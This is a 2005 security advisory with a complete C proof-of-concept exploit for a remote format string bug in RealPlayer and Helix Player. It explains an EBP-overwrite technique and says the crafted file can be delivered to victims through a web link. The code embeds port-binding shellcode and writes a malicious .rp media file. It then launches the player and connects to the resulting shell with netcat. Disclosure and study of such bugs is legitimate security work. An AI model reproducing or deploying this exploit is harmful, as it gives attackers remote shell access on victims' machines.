/*
*****************************************************************************
$ An open security advisory #13 - RealPlayer and Helix Player Remote Format String Exploit
*****************************************************************************
1: Bug Researcher: c0ntex - c0ntexb[at]gmail.com
2: Bug Released: September 26th 2005
3: Bug Impact Rate: Hi
4: Bug Scope Rate: Remote
*****************************************************************************
$ This advisory and/or proof of concept code must not be used for commercial gain.
*****************************************************************************

UNIX RealPlayer && Helix Player
http://real.com
http://helixcommunity.org

"The Helix Player is the Helix Community's open source media player for consumers. It is
being developed to have a rich and usable graphical interface and support a variety of open
media formats like Ogg Vorbis, Theora etc.
The RealPlayer for Linux is built on top of the Helix Player for Linux and includes support
for several non-open source components including RealAudio/RealVideo, MP3 etc."

There is a remotly exploitable format string vulnerability in the latest Helix Media Player
suit that will allow an attacker the possibility to execute malicious code on a victims
computer. The exploit code will execute a remote shell under the permissions of the user
running the media player, and effects all versions of RealPlayer and Helix Player.

The bug is exploitable by abusing media, including .rp (relpix)and .rt (realtext) file
formats. Although others may be effected I stick to realpix file format for this advisory.

Almost all media file input is placed on the heap, so it's not possible to just pop our
way to a supplied string like with a normal stack based format bug, as such we can't directly
modify GOT, DTORS, etc. leaving us limited to what we can do.

There are several places where we can control the flow of execution:

popN - call *0x04(eax) - eax is controlled
popN+N - call *0x20(eax) - eax is controlled
popN+NN - call *0x100(edx) - edx is controlled
popN+NNN - ebp - ebp is controlled
popN+NNNN - eip - eip is controlled
....

however since we are limited to the size of the value that can be written, it doesn't seem
possible to point at a known good location directly. Since our shellcode is always mapped via
the .rp file between 0x0822**** - 0x082f**** and with control of one pointer at a time usually,
we can not reach the LSB, we are toast.

In a phrack paper, Riq talks about using sections of the base pointer to create a 4 byte
pointer by chaining EBP like so:

[Frame 10 EBP]--points to-->[Frame 11 EBP]--points to-->[Frame 12 EBP]

And can be manipulated something like so:

-------- -------- --------
Frame 10 Frame 11 Frame 12
-------- -------- --------
1|------------\/
[LSBMSB] [LSBMSB]-- [41414141]
2|____________^ 3|__________^

Well, it doesn't work :-( ..ebp gets moved to esp in frame 11 and it ends with EIP pointing
at 0x00000000.

So what else can I do?

How about use the fact the file being played is under my control and only the MSB needs
overwritten. This solves the problem with the size of the valaue I can write. It is possible to
modify the MSB of an EBP that is reachable, eventually leading to EIP pointing at some good
location after "mov %ebp,%esp" happens, resulting in the execution of our shellcode.

1-> Create a file with shellcode address `printf "\x37\x13\x12\x08"`.rp
2-> Overwrite EBP MSB with the address of the file location on the stack
3-> EBP is moved to ESP
4-> EIP is changed to ESP value
5-> EIP is owned, shell is spawned

Granted this is not a stable method as the user can freely manipulate their environment, and
we use the file name, which is stored in an environment variable to trampoline us to the shellcode.
However my goal here is not to create a worm but a proof-of-concept :p

The supplied POC should work flawlessly on Debian 3.1, with RealPlayer installed in
/usr/local/RealPlayer and run as shown below.

Sample local run:

Test System: Debian 3.1 against RealPlayer10.0.5.756 Gold

Window 1:
---------
c0ntex@debauch:~$ netstat -an --ip
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN
tcp 0 0 192.168.88.133:22 192.168.88.1:2080 ESTABLISHED
udp 0 0 0.0.0.0:68 0.0.0.0:*
c0ntex@debauch:~$ ./helix4real

Remote format string exploit POC for UNIX RealPlayer && HelixPlayer
Code tested on Debian 3.1 against RealPlayer 10 Gold's latest version
by c0ntex || c0ntexb@gmail.com || http://www.open-security.org

[-] Creating file [VY~?rp]
[-] Using [148] stack pops
[-] Modifying EBP MSB with value [64105]
[-] Completed creation of test file!
[-] Executing RealPlayer now...
[-] Connecting to shell in 10 seconds
** YOU MIGHT HAVE TO HIT RETURN ON REALPLAYER WINDOW **

(realplay.bin:22202): Pango-WARNING **: Invalid UTF-8 string passed to pango_layout_set_text()

(realplay.bin:22202): Pango-WARNING **: Invalid UTF-8 string passed to pango_layout_set_text()

ps -ef | tail -12;
...
c0ntex 1631 1624 0 01:10 pts/2 00:00:00 /bin/sh /usr/bin/realplay ./VYF&(?.rp
c0ntex 1636 1631 4 01:10 pts/2 00:00:02 /bin//sh
c0ntex 1637 1636 0 01:10 pts/2 00:00:00 ? ²úÿ¿f ? ?\ ? ? .rp
c0ntex 1638 1637 0 01:10 pts/2 00:00:00 ? ²úÿ¿f ? ?\ ? ? .rp
c0ntex 1639 1636 0 01:10 pts/2 00:00:00 /usr/local/RealPlayer/realplay.bin ./VYF&(?.rp
c0ntex 1640 1636 0 01:10 pts/2 00:00:00 /usr/local/RealPlayer/realplay.bin ./VYF&(?.rp
c0ntex 1641 1637 0 01:10 pts/2 00:00:00 ? ²úÿ¿f ? ?\ ? ? .rp
c0ntex 1642 1637 0 01:10 pts/2 00:00:00 ? ²úÿ¿f ? ?\ ? ? .rp
c0ntex 1643 1637 0 01:10 pts/2 00:00:00 ? ²úÿ¿f ? ?\ ? ? .rp
...

To exploit this remotly, a user just needs to place the created file on a web site and provide
a link so users can click the file, launching RealPlayer and exploiting the vulnerability.

Real have been duely informed about this issue and are fixing. Sadly though, it seems someone
is trying to pinch my research, as such I have been forced to release this advisory sooner than
hoped. Until Real get a new release out, do not play untrusted media with RealPlayer or HelixPlayer.
Sorry Real.com!

Moral of the story, don't talk about personal research on IRC. Thank you plagiarizers.

PS: A new RSS feed for the latest 5 Open Security Group Advisories,
@ http://www.open-security.org/adv.xml
is now available.

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BUFFER 10000
#define EBPMSB 64105
#define HOST "localhost"
#define NETCAT "/bin/nc"
#define NOPS 0x90
#define STACKPOP 148
#define VULN "/usr/local/RealPlayer/realplay"

char filename[]="\x56\x59\x14\x82\x26\x08\x2e\x72\x70";

/* metasploit port binding shellcode = 4444 */
char hellcode[]="\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66"
"\x58\x99\x89\xe1\xcd\x80\x96\x43\x52"
"\x66\x68\x11\x5c\x66\x53\x89\xe1\x6a"
"\x66\x58\x50\x51\x56\x89\xe1\xcd\x80"
"\xb0\x66\xd1\xe3\xcd\x80\x52\x52\x56"
"\x43\x89\xe1\xb0\x66\xcd\x80\x93\x6a"
"\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9"
"\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68"
"\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89"
"\xe1\xcd\x80";

int
filegen(char *shellcode)
{
FILE *rp;

printf("[-] Creating file [%s]\n", filename);

rp = fopen(filename, "w");
if(!rp) {
puts("[!] Could not fopen file!");
free(shellcode);
return(EXIT_FAILURE);
}

printf("[-] Using [%d] stack pops\n[-] Modifying EBP MSB with value [%d]\n", STACKPOP, EBPMSB);

fprintf(rp,
"<imfl>\n"
"<head\n"
"duration=\"1:33.7\"\n"
"timeformat=\"dd:hh:mm:ss.xyz\"\n"
"preroll=\"1:33.7\"\n"
"bitrate=\"1337\"\n"
"width=\"69\"\n"
"height=\"69\"\n"
"aspect=\"\"\n"
"url=\"http://www.open-security.org\"/>\n"
"<image handle=\"%%.%du%%%d$hn\" name=\"findme%s\"/>\n"
"<fadein start=\"0\" duration=\"0:01\" target=\"2\"/>\n"
"</imfl>", EBPMSB, STACKPOP, shellcode);
fclose(rp);

free(shellcode); shellcode = NULL;

return(EXIT_SUCCESS);
}

int
main(int argc, char **argv)
{
char *shellcode = NULL;

puts("\nRemote format string exploit POC for UNIX RealPlayer && HelixPlayer");
puts("Code tested on Debian 3.1 against RealPlayer 10 Gold's latest version");
puts("by c0ntex || c0ntexb@gmail.com || http://www.open-security.org\n");

shellcode = (char *)malloc(BUFFER);
if(!shellcode) {
puts("[!] Could not malloc");
return(EXIT_FAILURE);
}

memset(shellcode, NOPS, BUFFER);
memcpy(&shellcode[BUFFER-strlen(hellcode)], hellcode, strlen(hellcode));
shellcode[BUFFER] = '\0';

filegen(shellcode);

puts("[-] Completed creation of test file!\n[-] Executing RealPlayer now...");

switch(fork()) {
case -1:
puts("[!] Could not fork off, bailing!");
return(EXIT_FAILURE);
case 0:
if(execl(VULN, "realplay", filename, NULL) <0) {
puts("[!] Could not execute realplayer... :(");
return(EXIT_FAILURE);
}
}

puts("[-] Connecting to shell in 10 seconds\n** YOU MIGHT HAVE TO HIT RETURN
ON REALPLAYER WINDOW **");
sleep(10);

if(execl(NETCAT, "nc", HOST, "4444", NULL) <0) {
puts("[!] Could not connect, check the core file!");
return(EXIT_FAILURE);
}